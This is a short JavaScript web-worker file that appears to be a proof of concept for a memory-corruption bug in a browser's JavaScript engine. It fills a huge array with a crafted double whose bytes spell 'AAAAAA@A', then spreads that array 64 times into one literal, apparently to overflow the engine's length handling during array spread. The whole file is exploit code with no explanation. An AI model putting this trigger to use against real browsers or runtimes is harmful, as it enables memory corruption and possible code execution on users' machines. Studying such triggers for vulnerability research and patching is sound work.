var a = new Array(0x4000000);
for (var i = 0; i < 0x4000000; ++i) {
    // struct.unpack('<d', 'A'*6 + '\x40A')
    a[i] = 2130562.5098039214;
}

var b = new Array(0x40000);
var y;

postMessage(1337);

self.onmessage = function() {
    y = [
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...a,...a,...a,...a,...a,...a,...a,...a,
        ...b];
    postMessage(1337);
}
